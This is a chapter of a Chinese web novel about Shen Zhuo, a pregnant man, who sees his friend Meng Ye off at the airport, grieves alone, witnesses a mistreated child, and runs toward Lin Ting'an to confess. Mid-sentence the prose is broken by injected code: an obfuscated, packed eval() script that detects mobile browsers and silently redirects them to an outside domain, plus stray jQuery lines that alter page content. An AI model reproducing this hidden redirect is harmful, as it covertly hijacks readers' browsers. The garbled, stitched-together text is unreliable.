沈茁是在半夜被人叫醒的,孟也先是敲了敲门,见没人回应就直接开门进了屋。
这时候沈茁额头上的高热已经退了下去,他用被子紧紧裹住了自己的身体,生生闷出了一脑门的虚汗。
孟也去看他时,并没有发现什么异常,他抽出沈茁身下的被子,打开卧室的空调开到了适宜的温度,刚想转身关灯就被人拉住了手腕。
沈茁醒来时眼前还有些晕,他模模糊糊看到一个人影,想也没想就像抓住救命稻草般攥住了那人的手。
“孟哥,他没欺负你吧?”沈茁的声音微微发哑,他清了清嗓子,努力让自己看起来没那么病态。
“没有。”孟也摇头,撕扯到最后他想明白了,他得学会放手学会忘记。
他知道能够抹平冯尽在他心里的痕迹的,只有时间和距离。
“沈茁,我……”孟也低头看着自己的衣角,手指没有目的地在上面乱划,一番纠结后他慢慢开口:“我决定离开这了,我打算明天办张新的银行卡,把冯尽给我的钱都转移到新卡里。”
“然后随便去哪里旅游散散心,”孟也抓住沈茁的手,眼里是对新生的向往,“沈茁咱们一起去旅游吧,去看看大山大河,说不定就什么都想开了。”
沈茁很开心,他仿佛看到孟也小心地迈出了那个自己给自己画的圈,曾经画地为牢,现在他终于推开了那扇困住自己的门。
被感情困住的人往往最容易钻牛角尖,也很难真正放下过往的种种,从前付出的所有心意,所有把心掏出来跟另一颗心放在一起的时刻,都是不可忽视的沉没成本。
孟也能想通,沈茁简直开心到要跳起来,但他没法离开,他和肚子里的那个,对于孟也来说都是负担。
会让他不能快快乐乐地玩,让他在愉快的旅途里去照顾一个孕夫,这未免太不公平。
况且沈茁自己也不能离开这,他已经决定要留下来。
“我今天遇到了宝宝的另一个爸爸,”沈茁笑着说,“他好像认出我了,我就把怀了宝宝的事告诉了他。”
“什么?!”孟也瞳孔微张,眼睛一眨不眨看着沈茁,“那他是怎么说的,他认不认这个孩子?”
“他怎么可能不认,”沈茁做出傲娇的表情,笑眯了眼睛,“他说明天就接我走,我正愁不知道怎么跟你说呢。”
“真的假的?”孟也不可置信地问,他定定看着沈茁的眼睛,严肃道:“小沈同学,你说实话,是真的吗?”
哪里有这么巧的事,他刚说要离开京都,沈茁就带着孩子跟亲爹相认了?
“你不要有心里负担,如果你不想跟我去旅游,你可以继续住在这里,我刚刚就是瞎说的,现在房价这么低我不会卖房子的。”
“当然是真的!”
见孟也不信,沈茁手脚利落跳下床,打开衣柜拿出了那个超大的礼品盒,往孟也面前一放,“你打开这个看看,这个就是孩子爹给我的。”
“有这么巧的事?”
孟也半信半疑,边嘀咕边扯开了礼盒上的蓝色丝带,拿掉盖子后正方形的礼品盒四面散开,各种人鱼形状的制品天女散花般滚了出来。
一个美人鱼形状的挂坠刚好掉在了沈茁腿边,他拿起那个挂坠在孟也眼前晃了几下,“你看,这个大礼包可贵了我自己可舍不得买,不是他给我买的还能是谁?”
人鱼水晶杯,大中小号人鱼玩偶,毛茸挂件,小人鱼背包,甚至还有文具大礼盒……
孟也原本只有百分之二十的信任度瞬间提到了百分之八十,他突然有种要长脑子的感觉,用手按了按太阳穴说:“有钱人接受东西就是快哈,你一个男的,说怀孕了他就信了?”
“他现在当然是不信,”沈茁忍着身体的不适,抱着胳膊挑眉道:“但他也不敢不信,他说明天先去做个检查,别的事以后再说。”
“也对,”孟也的眉头拧成一团,将信将疑地点头,“这种事确实得严谨点。”
“好了,你就别担心我了,我马上就带孩子去过好日子了,你想去哪玩就去哪,不用考虑我。”
沈茁起身把孟也从床上拉起来,轻推着出了卧室,“明天你走的时候别忘了把钥匙也带走,屋里的水电别忘了断。”
“拿走干什么,钥匙你就拿着,我要是长时间不回来,屋子里没有人气,还得托你来看一看。”
“好,”沈茁的眼睛亮晶晶的,忍着酸涩的鼻尖,他抬手摸了下孟也的脸,“孟哥,你长得很好看,人也好,以后肯定会遇到更好的人。”
“你也是。”孟也心里有种摸不定的怅然,好像有什么东西悄然溜走了,他却捉摸不透,抓不住也握不牢。
“那你好好休息,我回房间了。”
“好,晚安。”
第二天早上,沈茁早早醒了。
全身就像被车压了一样疼,他在床上坐了半个小时,也不知是适应了还是疼痛得到了缓解,小腿和手臂处的酸胀感减轻了不少。
沈茁调整好状态走出房间,孟也已经换上了新的衣服,一改往日随意的穿搭,穿了件条纹短袖和深黑色的西装短裤,头上还戴了个渔夫帽。
整个人神采奕奕,像在发光。
两人一起吃了午饭,下午沈茁送孟也去了机场。
临别时,二人都默契地没说多余的话,只是紧紧抱住对方,孟也笑着说了声:“等我回来,咱们再一起玩。”
沈茁红了眼眶点头,而后目送孟也去安检,进了候机区。
飞机晚点了半个小时,于五点十分顺利起飞。
空中划过的白线消失在眼前的那一刻,沈茁瞬间放松下来,他双腿一软,差点没摔倒在原地。
燥热感侵袭而来,沈茁抬头仰望湛蓝的天空,看白云也是虚浮地飘着,他的大脑无限放空。
不知道该想些什么,好像只有心里的难过是真的。
回到家时天还亮着,沈茁径直走向卧室,一头栽倒在床上,一睡就是几个小时。
再睁眼,天已经黑了,屋子里静得出奇。
让人恐惧的孤独感压得沈茁喘不上气,他这一天只中午喝了点粥,现下却一点饥饿感都没有。
肚子又开始发疼了,但沈茁知道这不是饿的,是宝宝的原因。
这个月他去产检时,医生警告他情绪起伏不要太大,不要忧虑过多,多吃点有营养的东西。
他听进去了,却没做到。
现在更是茫然到连灯都不想开,只想哭,放声大哭。
他以为他习惯了孤独,习惯了没人关心,习惯了一个人做任何事情。
但其实不是的,孟也陪了他一个多月,就让他再也回不到过去,一个人面的空荡荡房间的时候。
没有人会真的喜欢一直一个人,一个人吃饭做事,一连几天都不说话。
没有人!
悲寂的哭声由小到大,最终充斥在整个房间。
沈茁捂着胸口,他好难过好难过,在这一刻他终于明白了,为什么孟也被伤那么深也还是想回到冯尽身边。
人一旦尝过甜头,就会害怕苦。
嗓子哭到发哑,沈茁深呼了一口气,他看向窗外,黑夜里有一轮圆月悬在空中。
他突然想出去走走,去哪里无所谓,他得出去走走。
双脚踩在水泥地上时,沈茁的心情得到了一丝缓解。
夏夜依旧闷热,鸟鸣与虫叫在叫嚣。
浑然地打了个车,沈茁脱口而出报了个目的地,开车的师傅扣下计价器,屏幕上的时间由零开始递增。
他看向车外,上一秒说的话,这一秒就忘了是什么。
要去哪,这辆车要去往何地,沈茁不知道。
他是乘客但却不知归途。
司机透过车内后视镜,看到后座的乘客眼神发木,怔怔看着一个地方,于是好心打开了空调。
凉风里混着一股味道,刺激得沈茁想吐,他捂住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799732|175071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴心脏砰砰直跳。
好在很快到了目的地,下了车沈茁立刻蹲在路边干呕。
吐不出来的感觉是最难受的,因为这样的呕吐没有尽头,不会在东西呕出来的那一刻得到解脱。
缓了好几分钟,这场酷刑才终于结束。
沈茁站起身,几十层高的写字楼巨人一样立在眼前,几个熟悉的大字在最高处闪闪发光。
他竟然走到了林庭安的公司,这个他偷偷跟踪林庭安时来过许多次的地方。
沈茁有一瞬的茫然,他来这干什么?
然后他想,要等到天亮吗?
等谁,他会接受吗?
视线慢慢下移,沈茁看到公司楼下的面包店外站了个小孩。
一个梳着马尾辫的小女孩,正趴在店外的玻璃上看着货架上精致的面包流口水。
“你想吃面包吗?”沈茁走过去问。
小女孩没说话,大大的眼睛看向他,点了点头。
沈茁这才发现,小女孩身上的衣服是破的,短袖脏兮兮的紧锢在小女孩身上,她的裤子又长又大,走几步就会掉的样子。
小女孩好像感冒了,鼻涕一抽一抽,有一部分甚至黏在了嘴唇上。
沈茁掏出口袋里的纸巾,帮小女孩擦掉了鼻涕,然后去面包店买了一袋三明治外加一盒毛巾圈和几个大泡芙。
“送给你,”他把装面包的袋子递到小女孩面前,“哥哥给你买的,免费的。”
小女孩好像有些不敢相信,用怯懦的眼神盯了沈茁许久,确认了这是真的后,小女孩的眼睛瞬间亮了,立刻兴高采烈地接过了袋子。
沈茁直起身,想要摸摸小女孩的头。
刚抬起手,一个中年女人突然冲过来,一把扯过了小女孩。
“不是跟你说了在摊子上等着,谁让你乱跑的!”
女人声嘶力竭地喊着,凌乱又充满油渍的头发在空中乱飞,小女孩被吓得大哭。
女人踢了小女孩一脚,连推带搡把小女孩推向远方,边走边骂:“真是个扫把星,我看摊子容易吗,怎么你就这么不省心,怎么就管不住腿到处跑!”
一大一小两个身影渐行渐远,哭声与咒骂却一直萦绕在沈茁耳边。
他的心脏被狠狠击中了。
他突然开始害怕,自己的孩子以后会变成这样。
天哪,这太可怕了。
沈茁太知道一切痛苦的来源皆因为贫穷,一个充满爱的母亲,如果长久处在经济的重压下,她也会变得暴躁,会将自己无法诉说的苦闷转化为暴力,施加给孩子。
这会不会是自己的未来?
沈茁感到了前所未有的恐惧,身体因为这个想象而颤栗,双手止不住地发抖。
他有种冲动,想要立刻冲进这栋大楼,冲到林庭安的办公室,告诉他一切,跟他说他得养自己养孩子。
就算没有爱,总要给些钱。
双脚抢先做出了行动,沈茁缓慢移动着,目光落在最高层亮着的灯上。
一步,两步,三步……
突然,一阵轮胎摩擦地面的声音传来。
循声看去,深黑色的布加迪稳稳停在路边。
车门快速打开,一双大腿先迈了出来,精致的皮鞋加上高定西装,再往上是一张阴云密布的脸。
林庭安表情严肃,帅气的脸有一半隐匿在夜色里,另一半直直照进了沈茁眼中。
啪嗒啪嗒
空中突然下起了小雨,雨滴打在沈茁脸上,让他恢复了几分神志。
夏季的雨变化多端,由小变大不过一瞬。
司机见状立刻从车里拿出了一把伞,撑在林庭安的头上。
沈茁看到他加快脚步,大步流星地往公司走。
这是最好的时机,不可以错过,不可以!
沈茁猎豹一样朝林庭安冲了过去。
在这一刻,什么都不重要了,他的脑子里只有两个字——坦白。